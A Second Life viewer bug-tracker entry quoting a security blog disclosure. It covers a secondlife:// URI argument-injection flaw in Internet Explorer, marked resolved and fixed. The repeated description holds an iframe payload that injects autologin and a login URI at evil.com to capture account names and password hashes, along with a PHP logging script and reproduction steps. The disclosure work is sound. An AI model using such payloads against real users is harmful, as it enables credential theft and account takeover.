
| Key: |
VWR-2508
|
| Type: |
Bug
|
| Status: |
Resolved
|
| Resolution: |
Fixed
|
| Priority: |
Critical
|
| Assignee: |
Unassigned
|
| Reporter: |
Till Stirling
|
| Votes: |
1
|
| Watchers: |
0
|
|
If you were logged in you would be able to see more operations.
|
|
|
| Linden Lab Issue ID: |
DEV-11213
|
Quote from: http://www.gnucitizen.org/blog/ie-pwns-secondlife
Eploit Code:
<iframe src='secondlife://" -autologin -loginuri "http://evil.com/sl/record-login.php'></iframe>
Upon visiting the malicious page, the SecondLife client will launch and try to login automatically (-autologin) via the CGI located at http://evil.com/sl/record-login.php . At that moment, the following request is generated to the malicious CGI script. Yes, it is XML-RPC remote call:
[HTTP_RAW_POST_DATA] => <methodCall>
<methodName>login_to_simulator</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>first</name>
<value>
<string>Elm</string>
</value>
</member>
<member>
<name>last</name>
<value>
<string>Blanco</string>
</value>
</member>
<member>
<name>passwd</name>
<value>
<string>$1$[MD5 Hash of the password here]</string>
</value>
</member>
<member>
<name>start</name>
<value>
<string>last</string>
</value>
</member>
<member>
<name>version</name>
<value>
<string>1.18.2.0</string>
</value>
</member>
<member>
<name>channel</name>
<value>
<string>Second Life Release</string>
</value>
</member>
<member>
<name>platform</name>
<value>
<string>Win</string>
</value>
</member>
...
...
...
</methodCall>
Notice [MD5 Hash of the password here] place holder. This is where the user password is located. The password is MD5 hashed for security reason. Well, this is definitely a good thing, although completely pointless since there are plenty of rainbow tables out there, which attackers can use to convert the hash back to normal string.
Keep in mind that most attacker don't event have to convert the hash back to a password string. Attackers can login with the hash itself by forging a request to one of the SecondLife authentication servers. The unhashed password is only needed in situations where the attacker wants to explore other on-line service the victim is currently registered with.
Unfortunately, I cannot construct on-line proof of concept, due to the fact that I need to expose this server to all sorts of attacks, but you can try to repeat my steps. Here is how you can do it:
Get Apache with PHP
Put the following script into a file called login.php:
<?php
ob_start();
print_r($GLOBALS);
error_log(ob_get_contents(), 0);
ob_end_clean();
?>
Tail -f the PHP error log file. Or if you don't know what I am talking about, just skip this step.
Make a page with the following HTML body:
<iframe src='secondlife://" -autologin -loginuri "http://localhost/login.php'></iframe>Open the page inside Internet Explorer
(both IE6 and IE7 are exploitable).
After the SecondLife client fails to login, you will get a message within your php error log, which gives you the credentials plus some other useful info about the victim.
|
|
Description
|
Quote from: http://www.gnucitizen.org/blog/ie-pwns-secondlife
Eploit Code:
<iframe src='secondlife://" -autologin -loginuri "http://evil.com/sl/record-login.php'></iframe>
Upon visiting the malicious page, the SecondLife client will launch and try to login automatically (-autologin) via the CGI located at http://evil.com/sl/record-login.php . At that moment, the following request is generated to the malicious CGI script. Yes, it is XML-RPC remote call:
[HTTP_RAW_POST_DATA] => <methodCall>
<methodName>login_to_simulator</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>first</name>
<value>
<string>Elm</string>
</value>
</member>
<member>
<name>last</name>
<value>
<string>Blanco</string>
</value>
</member>
<member>
<name>passwd</name>
<value>
<string>$1$ [MD5 Hash of the password here]</string>
</value>
</member>
<member>
<name>start</name>
<value>
<string>last</string>
</value>
</member>
<member>
<name>version</name>
<value>
<string>1.18.2.0</string>
</value>
</member>
<member>
<name>channel</name>
<value>
<string>Second Life Release</string>
</value>
</member>
<member>
<name>platform</name>
<value>
<string>Win</string>
</value>
</member>
...
...
...
</methodCall>
Notice [MD5 Hash of the password here] place holder. This is where the user password is located. The password is MD5 hashed for security reason. Well, this is definitely a good thing, although completely pointless since there are plenty of rainbow tables out there, which attackers can use to convert the hash back to normal string.
Keep in mind that most attacker don't event have to convert the hash back to a password string. Attackers can login with the hash itself by forging a request to one of the SecondLife authentication servers. The unhashed password is only needed in situations where the attacker wants to explore other on-line service the victim is currently registered with.
Unfortunately, I cannot construct on-line proof of concept, due to the fact that I need to expose this server to all sorts of attacks, but you can try to repeat my steps. Here is how you can do it:
Get Apache with PHP
Put the following script into a file called login.php:
<?php
ob_start();
print_r($GLOBALS);
error_log(ob_get_contents(), 0);
ob_end_clean();
?>
Tail -f the PHP error log file. Or if you don't know what I am talking about, just skip this step.
Make a page with the following HTML body:
<iframe src='secondlife://" -autologin -loginuri "http://localhost/login.php'></iframe>Open the page inside Internet Explorer
(both IE6 and IE7 are exploitable).
After the SecondLife client fails to login, you will get a message within your php error log, which gives you the credentials plus some other useful info about the victim. |
Show » |
made changes - 18/Sep/07 03:02 AM
| Field |
Original Value |
New Value |
|
Description
|
Quote from:
Eploit Code:
<iframe src='secondlife://" -autologin -loginuri "http://evil.com/sl/record-login.php'></iframe>
Upon visiting the malicious page, the SecondLife client will launch and try to login automatically (-autologin) via the CGI located at http://evil.com/sl/record-login.php. At that moment, the following request is generated to the malicious CGI script. Yes, it is XML-RPC remote call:
[HTTP_RAW_POST_DATA] => <methodCall>
<methodName>login_to_simulator</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>first</name>
<value>
<string>Elm</string>
</value>
</member>
<member>
<name>last</name>
<value>
<string>Blanco</string>
</value>
</member>
<member>
<name>passwd</name>
<value>
<string>$1$[MD5 Hash of the password here]</string>
</value>
</member>
<member>
<name>start</name>
<value>
<string>last</string>
</value>
</member>
<member>
<name>version</name>
<value>
<string>1.18.2.0</string>
</value>
</member>
<member>
<name>channel</name>
<value>
<string>Second Life Release</string>
</value>
</member>
<member>
<name>platform</name>
<value>
<string>Win</string>
</value>
</member>
...
...
...
</methodCall>
Notice [MD5 Hash of the password here] place holder. This is where the user password is located. The password is MD5 hashed for security reason. Well, this is definitely a good thing, although completely pointless since there are plenty of rainbow tables out there, which attackers can use to convert the hash back to normal string.
Keep in mind that most attacker don't event have to convert the hash back to a password string. Attackers can login with the hash itself by forging a request to one of the SecondLife authentication servers. The unhashed password is only needed in situations where the attacker wants to explore other on-line service the victim is currently registered with.
Unfortunately, I cannot construct on-line proof of concept, due to the fact that I need to expose this server to all sorts of attacks, but you can try to repeat my steps. Here is how you can do it:
Get Apache with PHP
Put the following script into a file called login.php:
<?php
ob_start();
print_r($GLOBALS);
error_log(ob_get_contents(), 0);
ob_end_clean();
?>
Tail -f the PHP error log file. Or if you don't know what I am talking about, just skip this step.
Make a page with the following HTML body:
<iframe src='secondlife://" -autologin -loginuri "http://localhost/login.php'></iframe>Open the page inside Internet Explorer
(both IE6 and IE7 are exploitable).
After the SecondLife client fails to login, you will get a message within your php error log, which gives you the credentials plus some other useful info about the victim.
|
Quote from: http://www.gnucitizen.org/blog/ie-pwns-secondlife
Eploit Code:
<iframe src='secondlife://" -autologin -loginuri "http://evil.com/sl/record-login.php'></iframe>
Upon visiting the malicious page, the SecondLife client will launch and try to login automatically (-autologin) via the CGI located at http://evil.com/sl/record-login.php. At that moment, the following request is generated to the malicious CGI script. Yes, it is XML-RPC remote call:
[HTTP_RAW_POST_DATA] => <methodCall>
<methodName>login_to_simulator</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>first</name>
<value>
<string>Elm</string>
</value>
</member>
<member>
<name>last</name>
<value>
<string>Blanco</string>
</value>
</member>
<member>
<name>passwd</name>
<value>
<string>$1$[MD5 Hash of the password here]</string>
</value>
</member>
<member>
<name>start</name>
<value>
<string>last</string>
</value>
</member>
<member>
<name>version</name>
<value>
<string>1.18.2.0</string>
</value>
</member>
<member>
<name>channel</name>
<value>
<string>Second Life Release</string>
</value>
</member>
<member>
<name>platform</name>
<value>
<string>Win</string>
</value>
</member>
...
...
...
</methodCall>
Notice [MD5 Hash of the password here] place holder. This is where the user password is located. The password is MD5 hashed for security reason. Well, this is definitely a good thing, although completely pointless since there are plenty of rainbow tables out there, which attackers can use to convert the hash back to normal string.
Keep in mind that most attacker don't event have to convert the hash back to a password string. Attackers can login with the hash itself by forging a request to one of the SecondLife authentication servers. The unhashed password is only needed in situations where the attacker wants to explore other on-line service the victim is currently registered with.
Unfortunately, I cannot construct on-line proof of concept, due to the fact that I need to expose this server to all sorts of attacks, but you can try to repeat my steps. Here is how you can do it:
Get Apache with PHP
Put the following script into a file called login.php:
<?php
ob_start();
print_r($GLOBALS);
error_log(ob_get_contents(), 0);
ob_end_clean();
?>
Tail -f the PHP error log file. Or if you don't know what I am talking about, just skip this step.
Make a page with the following HTML body:
<iframe src='secondlife://" -autologin -loginuri "http://localhost/login.php'></iframe>Open the page inside Internet Explorer
(both IE6 and IE7 are exploitable).
After the SecondLife client fails to login, you will get a message within your php error log, which gives you the credentials plus some other useful info about the victim.
|
made changes - 18/Sep/07 11:58 AM
made changes - 24/Sep/07 02:59 AM
|
Resolution
|
|
Fixed
[ 1
]
|
|
Status
|
Open
[ 1
]
|
Resolved
[ 5
]
|
made changes - 15/Nov/07 09:53 AM
|
Affects Version/s
|
First Look: WindLight
[ 10080
]
|
|
made changes - 22/Dec/07 03:06 AM
|
Workflow
|
jira
[ 15391
]
|
jira-2007-12-21
[ 27839
]
|
made changes - 22/Dec/07 03:17 AM
|
Workflow
|
jira
[ 27839
]
|
jira-2007-12-21
[ 28482
]
|
made changes - 22/Dec/07 03:50 PM
|
Workflow
|
jira-2007-12-21
[ 28482
]
|
jira-2007-12-22
[ 34841
]
|
made changes - 22/Dec/07 10:41 PM
|
Workflow
|
jira-2007-12-22
[ 34841
]
|
jira-2007-12-22a
[ 46006
]
|
made changes - 22/Dec/07 11:07 PM
|
Workflow
|
jira-2007-12-22
[ 46006
]
|
jira-2007-12-22a
[ 47356
]
|
made changes - 29/Jun/08 11:22 AM
|
Linden Lab Issue ID
|
|
DEV-11213
|
made changes - 13/Nov/08 11:13 AM
|
Workflow
|
jira-2007-12-22a
[ 47356
]
|
jira-2008-11-14
[ 66295
]
|
made changes - 13/Nov/08 11:46 AM
|
Workflow
|
jira-2007-12-22a
[ 66295
]
|
jira-2008-11-14
[ 76743
]
|
made changes - 13/Nov/08 05:18 PM
|
Workflow
|
jira-2008-11-14
[ 76743
]
|
jira-2008-11-14a
[ 103663
]
|
made changes - 13/Nov/08 05:36 PM
|
Workflow
|
jira-2008-11-14
[ 103663
]
|
jira-2008-11-14a
[ 110819
]
|
made changes - 13/Nov/08 05:51 PM
|
Workflow
|
jira-2008-11-14
[ 110819
]
|
jira-2008-11-14a
[ 115568
]
|
made changes - 13/Nov/08 06:09 PM
|
Workflow
|
jira-2008-11-14
[ 115568
]
|
jira-2008-11-14a
[ 122631
]
|
made changes - 13/Nov/08 06:46 PM
|
Workflow
|
jira-2008-11-14
[ 122631
]
|
jira-2008-11-14a
[ 136087
]
|
|